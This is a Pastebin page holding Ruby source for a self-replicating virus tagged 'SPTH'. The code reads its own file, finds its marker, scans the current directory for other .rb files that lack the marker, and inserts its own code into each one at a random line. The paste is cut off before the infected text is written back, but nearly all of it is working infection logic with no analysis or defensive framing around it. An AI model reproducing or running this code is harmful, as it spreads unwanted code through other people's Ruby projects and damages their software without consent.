Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # SPTH
- mycode = ""
- mych = File.open(__FILE__)
- myc = mych.read(1)
- while myc != nil
- mycode += myc
- myc = mych.read(1)
- end
- i = 0
- while myc != "SPTH"
- myc = mycode[i, 4]
- i += 1
- end
- mycode = "# S" + mycode[i, 1382]
- cdir = Dir.open(Dir.getwd)
- cdir.each do |a |
- if File.ftype(a) == "file"
- then
- if a[a.length - 3, a.length] == ".rb"
- then
- if a != File.basename(__FILE__) then
- fcode = ""
- fle = open(a)
- spth = fle.read(1)
- while spth != nil
- fcode += spth
- spth = fle.read(1)
- end
- fle.close
- i = 0
- inf = 0
- lc = 0
- while i < fcode.length
- i = i + 1
- if fcode[i, 4] == "SPTH"
- then
- inf = 1
- end
- if fcode[i, 1] == 10. chr then
- lc += 1
- end
- end
- if inf != 1 then
- ln = rand(lc)
- precode = ""
- i = 0
- j = 0
- while i < ln
- precode += fcode[j, 1]
- j += 1
- if fcode[j, 1] == 10. chr then
- i += 1
- end
- end
- newcode = precode + 13. chr + 10. chr + mycode + 13. chr + 10. chr
- while j <= fcode.length
- newcode += fcode[j, 1]
- j += 1
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement